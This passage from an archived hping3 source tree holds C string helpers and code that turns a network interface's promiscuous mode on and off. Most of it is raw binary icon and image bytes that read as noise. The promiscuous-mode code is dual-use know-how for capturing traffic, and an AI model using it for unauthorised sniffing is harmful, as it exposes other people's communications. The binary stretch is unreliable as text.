-)(1-inf digits)(0-inf spaces) */ int strisnum(char *s) { int digits = 0; /* used to return false if there aren't digits */ while(isspace(*s)) s++; /* skip initial spaces */ if (*s == '-') /* negative number? */ s++; while(*s) { if (isspace(*s)) { /* skip spaces in the tail */ while(isspace(*s)) s++; if (*s) return 0; /* but don't allow other tail chars */ return digits ? 1 : 0; } if (!isdigit(*s)) return 0; s++; digits++; } return digits ? 1 : 0; } /* function similar to strtok() more convenient when we know the * max number of tokens, to tokenize with a single call. * Unlike strtok(), strftok() is thread safe. * * ARGS: * 'sep' is a string that contains all the delimiter characters * 'str' is the string to tokenize, that will be modified * 'tptrs' is an array of char* poiters that will contain the token pointers * 'nptrs' is the length of the 'tptrs' array. * * RETURN VALUE: * The number of extracted tokens is returned. */ size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs) { size_t seplen = strlen(sep); size_t i, j = 0; int inside = 0; while(*str) { for(i = 0; i < seplen; i++) { if (sep[i] == *str) break; } if (i == seplen) { /* no match */ if (!inside) { tptrs[j++] = str; inside = 1; } } else { /* match */ if (inside) { *str = '\0'; if (j == nptrs) return j; inside = 0; } } str++; } return j; } hping3-3.a2.ds2/hstring.h000066400000000000000000000002221021454026700152220ustar00rootroot00000000000000#ifndef HPING_HSTRNIG_H #define HPING_HSTRING_H int strisnum(char *s); size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs); #endif hping3-3.a2.ds2/if_promisc.c000066400000000000000000000025001021454026700156720ustar00rootroot00000000000000/* * $smu-mark$ * $name: if_promisc.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 2$ */ /* $Id: if_promisc.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include #include "hping2.h" #include "globals.h" int if_promisc_on(int s) { struct ifreq ifr; strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { perror("[if_prommisc_on] ioctl(SIOCGIFFLAGS)"); return -1; } if (!(ifr.ifr_flags & IFF_PROMISC)) { ifr.ifr_flags |= IFF_PROMISC; if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { perror("[if_promisc_on] ioctl(SIOCSIFFLAGS)"); return -1; } } return 0; } int if_promisc_off(int s) { struct ifreq ifr; strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { perror("[if_promisc_off] ioctl(SIOCGIFFLAGS)"); return -1; } if (ifr.ifr_flags & IFF_PROMISC) { ifr.ifr_flags ^= IFF_PROMISC; if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { perror("[if_promisc_off] ioctl(SIOCSIFFLAGS)"); return -1; } } return 0; } hping3-3.a2.ds2/img/000077500000000000000000000000001021454026700141535ustar00rootroot00000000000000hping3-3.a2.ds2/img/.xvpics/000077500000000000000000000000001021454026700155455ustar00rootroot00000000000000hping3-3.a2.ds2/img/.xvpics/favicon.pnm000066400000000000000000000005011021454026700177020ustar00rootroot00000000000000P7 332 #IMGINFO:16x16 RGB (826 bytes) #END_OF_COMMENTS 16 16 255 ÿÿ’ÚÿÿÿÿÿÿÿÿûÑÛÿÿÚ²ÿÿÿÿÿÿÿÿÖ­ÛÿÿÚ’’mûÑÒöÖÿûÑÛÿÿÚ$ÄɥȮñÅÚÿÿÚIÛDé©ÿÖÄ®ÄÛÿÿÚnÚDé©ÿÿÄ®ÄÛÿÿ¶mÛDéÅÍÍ¥ÑÅÚÿÿÿ‘·ÿ‘²ä‰Í®ÚÖÒßÿÿÿÿÿÿÿÖűÿûÑÿ÷ÞÿÿÛ²$ûÚÛòÈ¥ÈÅÖÿÿ¶$I’ÿûÈ©ÛÍÄÖÿÿ¶mÛmÿöIJÿûÀ¶ÿÿ¶ŽºmÿÿÄ¥í©è·ÿÿ¶’¶mÿÿû¨©²ÄÖÿÿÿÿÿÿÛþÿÿÍÅÉÈ©ÛÿÿÿÿÿÿÿÿÿÿÖÒÖ¶ûÿÿhping3-3.a2.ds2/img/.xvpics/hping_icon.jpg000066400000000000000000000005011021454026700203600ustar00rootroot00000000000000P7 332 #IMGINFO:16x16 RGB (680 bytes) #END_OF_COMMENTS 16 16 255 ÿÿ’ÚÿÿÿÿÿÿÿÿûÑÛÿÿÚ²ÿÿÿÿÿÿÿÿÖ­ÛÿÿÚ’’mûÑÒöÖÿûÑÛÿÿÚ$ÄɥȮñÅÚÿÿÚIÛDé©ÿÖÄ®ÄÛÿÿÚnÚDé©ÿÿÄ®ÄÛÿÿ¶mÛDéÅÍÍ¥ÑÅÚÿÿÿ‘·ÿ‘²ä‰Í®ÚÖÒßÿÿÿÿÿÿÿÖűÿûÑÿ÷ÞÿÿÛ²$ûÚÛòÈ¥ÈÅÖÿÿ¶$I’ÿûÈ©ÛÍÄÖÿÿ¶mÛmÿöIJÿûÀ¶ÿÿ¶ŽºmÿÿÄ¥í©è·ÿÿ¶’¶mÿÿû¨©²ÄÖÿÿÿÿÿÿÛþÿÿÍÅÉÈ©ÛÿÿÿÿÿÿÿÿÿÿÖÒÖ¶ûÿÿhping3-3.a2.ds2/img/favicon.ico000066400000000000000000000025761021454026700163060ustar00rootroot00000000000000h( àåë²¶áÃÄïÄÇæ‘‘ᢨÑhiãmsÀ““àüýþåæôbeÉ¥¬Ñ±´µÃÄÄ ñóó”–èÛÜê89ʨ®Ñèéê/0Ë¾ÃÆÂÉÛ©ªã23Õy~€AB×¶ºÙÊÑà99ÙÙÛìlrÀbdÞ22ÜIM¾wz{ÌÎÕ¼½¾ ’—š´µ¶°±²†‹Ž[`À59]ª«¬47\™žÍfkÒ’•—|„..Ò"#%CDÐËÐâÎÐÑ::ÛØÚìRW¾//Úøùüµ·êx{}//Æ;;ãFJ¼–œŸ~áþÿÿ¶¸¹ÔØåüýý´¶·7:Á‘—ÉFGךž .02™ŸÎ01ÕIN¹ ÇËßÊÍÎèìðwz}:=?üüþ_`ÚÄÅÅ[aÌîïú ïðñ22Ø..ÔÆÈóãäå…‰ŒEI¶88Ûêïóèêûx~Ö..Ñ57ºw{~ÄÇäëïñPTx//ÙåæõCDàfkm¿ÀÁ;;âóõö—œŸ  °´ÚjmÏØÜè?D´ÿÿÿ44Ñ$(*ˆ‰çàá÷-.ÊVVÙ~ƒÉÍÎîhii?@Ö’·°³Þ¨ªà‚„hn½¢§Ðtzư±ïóö÷00ØûüüV\^ùúúßà÷ìí÷ÔÕö¥¦ë§©ãQV·†††††††††‚4SY†††›v™Lv~††H"=…††2+7-C††?U ††.¤J(†ŸT%Œ@–††.¤tMZ†B&—†j𖆆.¤ˆ[i”†pz£!ƒx–††XV/R\)WK˜n‹Pf†††I†cއ] y ††kG‘}m0•uO„††*g{b3}8^sqr ††|{_€1E' a:`h ††|œd1EFoD5h ††|9w}N h ††|,l‰¢¡“Až>††|eQ††††††††’$;††6<††††††††Š #†hping3-3.a2.ds2/img/favicon.pnm000066400000000000000000000014721021454026700163200ustar00rootroot00000000000000P6 # CREATOR: The GIMP's PNM Filter Version 1.0 16 16 255 ÿÿÿóóñ—•’ÑÐÎÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ÷áàà““ìÛÙÿÿÿÿÿÿÁÀ¿ žšÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÞ³°ÀrlâÐËÿÿÿÿÿÿÁÀ¿š—’Œ‰…iihêÜÛ版㩧릥નüùø÷àßá‘‘ìÚØÿÿÿÿÿÿÁÀ¿%#" xTPâ;;×BAÁ:7Ë0/Éebè–”Ô..Ùº¶ÿÿÿÿÿÿÁÀ¿^\Vµ´±]95ã;;¼JFóïêá¶²Æ//ÒkfÔ..Ùº¶ÿÿÿÿÿÿÁÀ¿mkfÅÅÄ ]95ã;;¾MIþýüúïîÐDCÌa[Ô..Ùº¶ÿÿÿÿÿÿ¾½¼mkfÄÄà \74â;;Ò..Ú`_ãihº75Ö~xÑ..Ùº¶ÿÿÿÿÿÿåä㟜–ÆÃ¾êé蟜—·’â;;¶IEÀ`[½nhÛÉÂäÇÄÉ—‘èÜØÿÿÿÿÿÿÿÿÿÿÿþÿÿÿñðïúúùîÎÍÑ44ÀsmþüüöÕÔ㪩õæåïÄÃôæåÿÿÿÿÿÿÎÍÊ Ž‹†20.ÕÎÌßËÇåØÔï±°Û88Ê.-×GFØ22Ѩ¢ÿÿÿÿÿÿ²±°*($?=:„‚ÿÿÿûêèàDC·VQàÑÊÏmjÙ//Ч¢ÿÿÿÿÿÿ²±°~{w·¶´}zwÿÿÿê·µÜ22ÆztÿÿÿóÈÆØ00Ч¢ÿÿÿÿÿÿ²±°€~y¹¸¶{zwÿÿÿ÷íìÊ98Õ10ÞdbÙVVÚ//Ч¢ÿÿÿÿÿÿ¬«ª „|¶µ´ }{xÿÿÿÿÿÿæÇľWR¹NIɃ~Õ32Ѭ¥ÿÿÿÿÿÿüüûñïë÷öóýýüñïëöõóÿÿÿÿÿÿá~Ù99Û::Ö@?´D?ëåàÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÚ´°Íž™ÎŸ™Ñ®¨ðìèÿÿÿÿÿÿhping3-3.a2.ds2/img/hping_big.jpg000066400000000000000000000621661021454026700166160ustar00rootroot00000000000000ÿØÿàJFIFHHÿþCreated with The GIMPÿÛCÿÛCÿÀÔ€"ÿÄ  ÿÄ`   !"1 68Asv´·#2459Qauwy³µ$%7UXqtx‘”—±²¶Õ3BSVW’–Ñ&'T¡ÁÔÖוÓáÿÄ  ÿÄT !1"AQa235qr±³#4BC‘²´Â7DRTbtu‚¡Ò &Ssv“”µÑVƒ¢ÁáðñÿÚ ?ŸÆ1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1J_[KëÜÝÓGW‰Òo^{·GÜÍÑß5òßò4m“f‰°k×[oíz„½wó#±É¿0+v› “XñÔ­=‘=«Ê׬hM9AS û¯Z?Sê:òÙÕ;c•?Äé—Ka?/¸©?S‚2wz0#HYF9„0€ŠåñǯS›;(\ûêñ„è‘,=Aº™lø±¥Èi­0r°Ä’À"0RPc•$cC5èÆH;Ù¦":<OŽÔ3HÏå‘Ìh“g°b[:$RŠm…VfÜì“é"Nøl’ľ?ƹ¦*[n9ñ,ʉR>é›×ëÕÇoë§ 6×®K¾Ò6¡øPº£U¢É©Ø(/ùŽŠÚ5€ß®Kùli•öž2Pš .„'=áN±ú.Û|Óµ½Â¹8» LK“²@å¤96m{¥2I]5’ ˜áOd¥Ž÷‰Tnj¯¾‚*ßgÖŸJÊŠeoP¼-hT2|™“µFÐ*§I Ƥ*ž*BŽK±Úë¥$íÓçvT_ëU’÷Nÿw`·UOŠ"÷E^ËðíݲªvU+ò mªÆöO+*€8§‰è¢VVåõÒïz†G;c+XNwð´lÄh÷Ð*5ò?ZÈ\cP©jcÅ)Œc¦1ŒR˜Æ1JcÅ)Œc¬Ùz⹜ÛÎÝ0r'#l<m7^Ö6JúÝÒÏL—US;Mª<Æë4)päkVñ&Á=¸R1V¡O&<¦H4‚WØEÇ›¹ÎóMäÝ¿_Ó=J:Ï»Öë/l ÖO̜Ȭ‘,…hd5®ÙÀ¸dhÞ­xËï  £O#×_”7]Ô?u&­*Ò‘ÆœkÖHxÎ(O®G{È)"hœ×4…ö:5¤»¹^Uhteý/ÎrÈyÞ÷9ï9Êä9\÷+ܤV*¢¯’ª'eø¢"¯Ç5ç«ó¹[›ë«uT|~S#]Ç%ÄS=·½9ŽÞQ«œ·d-¢¡xêC/`=›ü*è<7L`º¯5w5ͯWôWJ_\tíå†!ak™\U¬wYk)/le¼†Kè#·CÂÂ$YÌÂrÖ‰c±fë#©}r0› uÕÖ×¼ª¿(Ï<½Yí£BŽr9WpQèTr5UÇçæ¾Lo–ô=z½çR®ÛtÎ^å.EåçÌÝ&1·<›¹ì›íÍPÿ3Q%B…Wk´ÚØXAŠ9!R–0$¾ >KÒÆ†!6Û„û{<\Ä÷½Š«óÞÅgšù5UU¨çvDTïä½ûü$eõ=sÍr¹xÒ%û¼‡†ZV#E&‚®*Ê÷Ú'£Ùo4¹A—°‰-ÈdñÑ×™?ºö†êêä•u,¾|Í)tB ³· Èä ìNª“íuˆèË? òOÓXœD>nW¸·½EiL®[{xÞ1æD£h˵%X•bh˜Æ3bk’´Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb•ÈcÕ í…õmþ0~§?,œŸ‘îÉú¡}°¾­¿ÆÔçå““ò=Ù /ãþö¢ÉéæÔ+'ú"ût:Dÿþü«jyÛO¥µï?zìÿÞŒâYÑÛ¡Ò'øÏðå[SÎÓý?nð5nŸø’¸P,¶M¢ê®åh´ý}°Í{h›’XY;åó+ëjhj’DdµØ¯,+iaÉ™YUòÒÞ]ÑUYÈÊëR7s¥ëžçü&×@²I=‚€K**)kFU&å;ò¤îO Ô“ r@¬ºÆi{¯.@õѸÏeäzž¦úWè·R„A®6Ê»ckgp|¯¹Žn³udò’#T´¤$F”Œªl…CŠü÷ëcêÉÇÛÈ<õ.èµRß#©Õ8Úek¤…"•bÆ›ÇC|è²dšsÕìð%sã¾*¼M‰‘øJæ8á‘]@f $'‹kƒhG&¹lü2p‘t6€kÓZE‘¥•» , è©ø—¸ú¯%?&ìuÔ§ÌÛ¦Ÿ«õ á-Šº§¬.(â^¥´¹3³îµÚq ­lrr‹Cgªˆº)¥¾-®’"# k½Ã>Tï=;}PzGõ<â@ò§L›Á§ÉìÄÞxßh†”œ‹Ç7¯ Z]¢“ÞvG+àÜSͳ£¶ŒÕ“]`v4­ßš €À§#¥-Ç‹èÊ̼›ÕTÌ=ÀKΉR@ ½¨Öû† t= TŸq½†ã,o;òõ' Ôè{VÑz=wW²äºWa°,pHA½©ØfBŒ§Rا9 7å¬í£Äãšõ*æ~«xg¢Úøg¯=[FÒ÷ˆÅ´ªãûÎ=à­†e4Dä´õöÖº¥¥ž¿69½ú)ó "H£Kˆ¥²0>^j6_¨,°ðÜÏqó-£@.RØÚ™aK‘¨fh§ºš)q)@ì\7ÃÁ—'x{á/Qø‘•Ãâ17˜¼dÙôÉŒ-Îj<ìxü…Þ ÆÙtW˜¬&Z(¯­­¥ŠòT¹0@–ÒÁÎušâÞwÃŒ†#ýF½CŠÇ²¨W–JµÊ4™Å}<ÀŠŠUGA¸½\òñoˆs*¹‚iJ*o¦WQSu¡qW0óÝo$èòï§C³£¨ãnú϶Àu<ùU²jö-hoIæe•Õ¶•öQ‡\+ Ãt0[6þ&`.gŠÞ;|§9dH×”6zÝP3q¾fâ Ä):@‘ªÍAìUâÇMàòÝA–è‰,pøëìÊÛd:ç’ I¯eŠÜMÒÐ@×E $)$ñ#Hȯ$jK‰¯ã0~ëâ›U£ýo„yw|±ñd®² ~¸)>ÑÚp‹b— ’¤ˆsÄÈb˜ÊÆ;LÓ{‚"63õùÈ^·ÛϵźèGxlf>Sbòì(ê5ŒñµZö3Œä¢XD+špü;¨K!÷6½qÖ9hÜgÉ*ðÚÞȧ—¦š+gR~ ƒ°@ Ö&À{?ø¿ÔðGq…èÙ®#”3"Üeú1U–klžZÎáEHg‰CR¤†]Èí êúb°³%w/p×/ñKªÖYW¥Nùr[à„ öó1a­w¾Æ¼&‘Ä cˆD¹^žzµéÓª½}v.åS°Öu5³Ú š“ÈPÈFÝk3R5Ý{@Iñ¢’Ya|ÓøÀ–bèÙÌPáråØdmç”ìˆIh¦`=JÃ:Ç+õT?_J·ú¿Â_zyêÎŽÌâ,ù*œƒÀ—xÕv ">JÂK»ÝÉÄÖFcÊÍcº±ßÓÏóÅX¡íÐÕ³âG$x6LA…êG¶4 ™¿Õ0ØbÈš)šò$l1šLAþ–ÿn“ÿ,DÿŠæqZﻇÊuº>­Sµîœxê¡Vjöxõ¡l²-µêÝ‚(%[ýc¹üÍ|¥“%Á"Utø’eBò4ˆqÉ °´¡ºúÎu  ì÷–ÅéËmÞ–aáL ºU¥ŽW„ˆ­w£šæoÚ½ÑÇ#\öx½Ö¦b÷¦,¤YòÌдí",ËHÇ$HÐȆKHÌFTxÈ*ÍæhÑB¬r·CøWâg^{Ôˆ¶ËKŠÎ{›6Ïtµ•ô×öÐ^ÙÜ‹¾ZÒõ­'‚â&K˜àka#5»H³Ç,I™ô»â3‰Â[¶£^ž‹¬<›÷[ÜWBz"ü{?³›Ý®EG*e÷à‹øÏ€n‰°QªYY0Oe{Ò¿ëhaèaÉ’ñ6tçK:€¾ÌopŒdyŒ¡4•ˆhZNß>¨“tãˆþöÓÐLŠÇ+‘®¤Ú?7(ÐÈÖ¹œdW8J®odV¯‹Ú¯kš©› ôúõO®ëÓJÚ®añwntÛ"kô:×)¿cªØÕ#×Jq µGãšCÒË9§ \7ë3Áa:"B[Æ”Yzè_©Ì8–nµ¹évZuöƒºÓ9ƒpnu}ŠAëY2)ãG,)1áÜ×K‡.%µe|¨—o~¬/¥v¸––½uC\ˆYeh€QZ÷*µGg sÇíh•˜äs9.õº…»4ú{½ÆÁDbØ ö €Aì@=« $_P£ç¿2=hëDú ‚ 胰uSÆhGÒS×ÿ§VþDäÞ5ã>!äî½ãz k÷D‹Zhö ÝI™ªÓY›= ?[lJo•bF,kÖDÈàvá9—¥êÍ´¦ãýbåíúµaŽF«­£ž°=)Õa®áþø·Xt9òà®Ó°ÎÝvYE$?))È”µ3 ¬¯v$¯­´ ”ÂÇCÑ‚Rö7Õmú¦qÖÀïÜÒ¯,Ñ0EùmmMé®O ÒÅ‘Y.¢×_äf¸flY ‡!õvŒAD‰•ìb‘Ðâ½IÉÇ)*x¸o)@•tyUцÀ!”‘ò ÔY-dˆì€0HæÊÀëEY•‡}íIwWHÜdT=9>«3¡~±öÍ{‰:‚×­º6å}…ðjé,·†¿bá}šøí>A‘Cœš„»9¯ñ©‡¸SìîæÀ~Ñ"rÅléSÄ™Â0&À•l9Ci£KˆqI /Nì(?§â¿º½»w_û‘ûÉŒ÷^iŒ¶{‡'WkF›QOG°o;\8Í;õR½óL,_®ö…QTÓ¡ZHÆtißrèGc ¢tTWæs—8õ½¬ksvmCŠøgA£tg4&ä]¢^ÅqbT\kÑj9£›*Ì8ì÷*4ÔŽõ‘J¾ÌZX¤Œëuqåev“܈Âï—™$haŒ©Y^U`HÚëd^5ÐyΨºµµµ—Œ7¬‰i&5ŽÂ­ÓKÀÄ-!½//¡Ã#ÚZÎŒ»<»VÈq‘"åoTRN7µ9#îü ,–•k j´gŽxã"wSÖc"Èðp†U°¹hD|WGWÎó¸Ó깓U·ƒ]ÔWN:…å4vü–Ö独nµÛ¯pBsk«ö;‚°…R( 0"$ÎWq=–¸,³ˆ½94ž[µõ·p¼çµ']ż³¸×©Úz}½«9äýŽüg°²7¶¶;œ3(·Ägc÷‡@7¸ÆNß ¤½XæfcØ{T»±˜OÓ¨?K½]ñõæûÂûÚZU¤™{·h7@IȺ¼8B˜w%®½"i#‘¦ 76–v4ȦŽ#Y„ïx‡áõ'Ö†ÙÓ&·O¸í6oû–­n ¹nxó`¤½\ƒ ò>Ir9Q« ŠÅ† Ý£aÔ*E’¢¹¤ÍâãµÆíd´($7G5ÌH…‚r‘­ã”EñžIÀ† ¤¬ µðï­.ú‚N”L Å¿RG;ZýÅÉOg‰ÈKr±¼‹h2—6mw+Â<ØR×ÎiãdxD‹$e³Ó¡²zðq˜˜¤7K@ íäòŒouF§wºKQ;¹Q©ß·uTO¥{e¯õH<À½‰A#§îd ÉR¢CwÊ,õ!û•%±þzaÚæ‹Í¥‹ÕêÅìÖ*«|©_»n—ùe£?’ÞðýÊÛèk føòþçÙåñdpJuØú6T÷¹l­*F˜Ê_QÝ5}z¥Ì;ˆ´WÆ")¢Hñi4èÎìxr=·ŒÌ±M¡”v)ÀbUt#¤Š®Œ®Ž+© ¬§¸*Ã`‚=:¬ÊÊÅXe$ ‚õàÓÆz¯”Æ1ŠSÆ)\†=P¾Ø_VßãêsòÉÉùìªÛ êÛü`ýN~Y9?#Ý¢þ?çÿa*,ž‘þ`ýB¯7N7ÎÕº†àm‘ìe¿\æn.¾dZ‰ ÚKª7z;Ç«”‚:Ʊ2ÇAÂ2†K„D¾ Õª_X.½%z$×9^Ù¥óWV<µ¡kÜS¤ì°îs¼Ù뎟-ôÊév‘Äy6t¨Pj]ò[³€ä;!JÙ¶M£iw%Ø3eÖM‡eä‹:¾Ty°¤‰Q \C0ñŽ5TTBÃaªŠˆæ¢ö\ª‰/å-†¶µgÞö{6¾–¢,/meíî©êaAÞBûjGFȯG™ÌyïXRÛ‡ž;¢´qIvR]UÊ’cbÁcm ñcňì+Üs•‰áâX;£…f]€,êI€e•O}Vbu½ê_Ö'¨(]rgPÜŶß|¶t¢ëú\;»(ZN•RK “¡ÐêÚð$¶ª¾Ëðs!Ō٦çJ姺˜—›}é˨,£ÍÉ|!Ë:·%ñ-ƒpãݯ]£ùDô"ÄKkZ¨°a!Ey¤j£UV:'l³9?/ˆòŠ”ù!†þ{ Ÿ©$“êj‡R×L:ôì´5Û¶¾UûR‘FÀ©¡ÈV ^åV‰¥#«âו¡ HôDsÚ!#•PmDئ__œ¡éÇÕŸu ^ÜD×#]VSrÞ¯ZG<¯KžØk_Ò#F‘wYŹÕ$œ£d[øqE-Ǧ™o]?_˜Ä‘¬¨Ñ¸Ú¸*~G¿ÌPÀ÷VÕ€ ‚|GhÝ]}TìoÐýA5#a‡¡ƒØ×aS^kÖyóÓù‹G¼‡qKºoü7{âœè°æ Ò,ÙñçÂxžç2¬ ‘mkÚçû‹[aÄDsÜÔwT–¶v[V©ÂÂlÈñ5*ÁÆ™&+ÇŽTb=ëÛºöNÿF5ƒEöØÆ¶¡è¨{N_ôÐ5 SL—3ŒysSãÙ&جßh<¶[Á×C ^dth¬Ò¶M^µ±ä Kt€ f>½"9”wRßf:çà­WòÍlñ2W|”Šì|È­ ·”ìümÒ ü˜¡eíØר"»!ì _¸ËB­ÖÉbäªÅln-™T‘°§ ƒ*Ç7nV¯‹QXö½;5;*µÈäîŸBüQéj¢*}ÔYtmÊ}(údtßAÉ\ÑUzêè½~/#Rè´âƒo³k<=01eq•Lûd¼ØõÍJ«j®–D•c²—p¶MÆ£_Ù5ËDã¸'ªŽÏtoÅÍsšŸ5®F¹ÈŸk\äsZåO‚9Z¨‹ñTTøgÆÞä‰Úe¤²Ë(TÅ!½˜p#Ž,8R¹ädXqB±˜¯ThÄ!"¢"v±:5. êKë[h®2KAa$àH–rJ@’å d+$â0bˆ»yh²JZ7b­êø¿á•ŸŠ¸K”Íæoñ=2–ù^©²ÅHÖW]GkFk$ù4$³ÅµëG}|¶Ð‹Ë‰l¬VÛHÒá.¶ÙÔ‡¬oU<èéTÚÄš~&ÑŠ‚`è5¸­4ã°hˆ®›k3ß”d/‹Hø®TÔX¾ÂªöÖþËÌü©¶œ‡ÙyîФ#ŒD‘%ÇïR+œ¨BªsˆÄQöcÈG±â‘]‰{$=†Xõ®¢ Ô£÷Uî @?Ü@9„ U@Uðw‹Ædo¼/dÏûA æÛ¨‰mWÇÜ‘i^Ñ©’Æ·QØ&Ah|\VʉLHͱŽsˆ×£­s•UW'î?t™¹ZæöòîæS­†w"쪋´=x¢€«üQ­Š²1oàW„Öø| ¦ºrÈ|1Èc±ÇµÓª¢Ë$·woÍíË/—æÍ4³Nä/œä…5vo£“`aÙ£žB9\òƒR?É×<¨á*•ê‹Ý~zêÑ·Üj5Ûy¯ÛrO mÕœ‰ÃûnÍ m´&ºËý^ÚUMœS±{#"!î­j¹ñä1@f¹Â8JÒ"%+}»©—ò;¨²#kâxÓc–,†¯Q/¸„kÕEG+Æ@ˆhö¹¾CDw•݃cö*vñ{J4EòDU_¸æª|<\¾.jöTwdz¬ï!æäqަR̈ãâÛVR7¦Øe*~@ö=ƈízœoDõÍ”ñYGn†îÔ†„¤R[]AsÑxH{{ˆ'FÓ$lU”綾­äny³ éûª…® å’F~µÈ``àRï%†ùØn -ˆ±ÆÃ™B‹3Û“4*õ+ãÄ’CÂ1¤šö=­{Ç#˜ö9Ís\ÕTs\ŠŠ×"ª***/eÎW»]ÍjÆå™eÀ˜ õòá¸Â—dB¶LcE’¡;h¤k;Gíø+þdÚ½}D Õ/BãnA³džNÑ£’Ô„PŒ²I) [f0€m+özè“%GEHaƒwUuQ1!üÍÏÖ’dxÌŒ­3°ÒéÎäc <‰ØüR6Èá)äçd9*9ŽBû\{6ÛxotýgÒv"Ë=Ø·Íá­Ðû¦*êà“m ±o¼~PÉjBCetaŽÛŒWqZÛX>±úå¾ õ)å2qÎÑ&˜8sJ4ÈJÑÊ…/ÏWk\ÒÄ–ÓÃr±Âã½ñžèó)cýCscÿóG+rß°íFÿµO·µ¹°Ÿ6BÞY£‹*QZã™ÎYNsžEcUïz¸„z)÷=ÎUÝg©?ì‘r‡ð+¤».ÍIý[?ü6GûYŠ:êîèeò¶Ââow3‘’8<Çò’Gœ‡t|UœȨµßuÐÿd®ÀIá÷Dæß ŒlÅ߇})gu”6Vþÿskkh†ÚÞâëËó¦†1ü¤‘ÙcJ ¶å»;{(1äZÛXÚ+û f˜äÇ#¼\é#œˆ¢bx«”}š˜Š«—SZÝöž;ô·ë[xÓ®fÑmžùÀöºý¼2¶lnpàòŒÑNŒÑÞŽ!ÜV)ñeìô³ü¡úÔ¾ñi9ZØþÄ__…|ùlàÜ©øxL™;"ÿæ@ywØ3Â÷õƒö+ûyÆ–Þdâ·Q upC‚÷Y_ïWCï‚·§ªƒê¬õpõŒë/©‹¾  Þ6š¨PtN:¦xKä,´¾°¢¦[Ý–s#>:’Îö[‰&_¼ù"Ž6Å‹±F).›¢Mÿ›ù#“±¶ë÷OŠÿiæŒØÀcdb†Lƒ½„˜c‰‚BçÉV„ Qƒi¤!²®O³}ð‡ùšŸ0‡6VÞ(Ò4*£|AävÌIõ%˜–'·©$×§‘ÞFäÇ]€Q¥P4;](@ä*ZÿR7Ëaë –øöŠâË]ºßµ-ië³Ö_+Õ5­v­›c¾«‘9 62I.½¯k±Ðl¯Ÿ°~i­«åVQ-M䌽p~¨·‹=5é Ò7C25Ž@ê„1¼¶¬D‡¶iœ,³Ž+ F¿›`¶‘w®U¿$¹–÷+jûÄ‹jy2·Ùl6¯æÛÅJs D•Š·=LȦ‡&Û^—:ºØÀ+§»À’£ËÆ%”Æ ^G(Ê£’±\Ž´ç^íwSlì$XßßÜË“:t£)çÙXL2¾D™wbÄwg‘ëÙ|XÕ^Íc~–Ô-ÌóŽ*g(YÔ·šÊ‘Æ‹=‚&гÛ>ÀÚð½µÆà†òƒ… »³ò=ÉŽZPÀ*è?- †ê¬þ¨z¨Üí·þyæ­ëö›³4óì..¥|÷5êTDˆqâ!—Þd£!í 8…(ÁšM‹ûuÿò“¿þüñq“jŠ€*ªªŽÀ(ÈaRŘ–$ýI$ÿ9üƒù«í&A¦I‘.CýÉŽY'‹æc‘Å+üÖ±¾OsâÆµïÙ­DDDèƒõ'þ±Û¿+WNôýê/s&ǰh5Q-xOfاʗq {­«—®J™%¤tÙº=´š8¡9æ:DíZøX¢n›megÎã3—ÓCœetç×§K°² B§åÍj‡a<0$³~d·³?DÛÜ×|«ÿgvK'°LjÈB°e†áÌr²^î6hKÅÚh– døŒM­þ÷0)ÂÜ€æªDkvQ WÇ'ïrò Ø8ú4d‡SÛºñ;V`{‰å.d²\ê:i§…M[$•û5ü¸5Œcäk:ì‘9 XØV7aØÂ­%3H´ÔüÔ>ÂÓIµú÷-dâj‹ZgË~ájj$FMÎmL9-Æ&°ÑdĬ„i›1)"Ž\zÙïù9ÊÆæ±ý_ºÒ‘Òç SðYȯäîUªš × 1‹e®éŽsÁwjùä#Žý—j› þý™Ï*ÅXû; Mt»8ÖB£åóö8ì\ùIä>çon“¸B“É1Õ½œd %`D¿â!V?3.JðÃÃN¢ñ¬0=#ÓöèÙŒþBKKIçGkL]¥ŽlžvõB’m, oÞ{¸¸ dÜGRÑ}wzÁé7ÈŸÁ},TPm»í ºãkVŒú>—+ÊRJƒWH¢Ù¯Ã-["t“ëK B{®¶“$΋ž\ꧨŽu·-Ï'rÎã°ªDl_¯3£WGÊR¶4x@0ã(}×0ö¼4c[ñj¹ÖÏ!B˜1Œ÷”æ+œò˜Är¸…#Þ®{ÈGª¹Îs•UWâ«”µþÑ ”}žôqœ×+ZŠŠ¿5®wuO¡ÝŠç*7²÷Uj+\º¿êÌçS\‘$Ï  Ê²D1=Ìc•¯4(ÞJ×iÙ¥oÏxÚåùè‹O‡’Í0ã¢Ì9=;3kZ=‡~Ǹô'wvKÄ.„óâÆ^¥±’‚ÚÚ9f  M¼RH³7 ¸•ìÃMé”=-Þ ƒùÓPärε‰]Q≠D§Ä%4Ö¾5„ ÈÄ’ qK 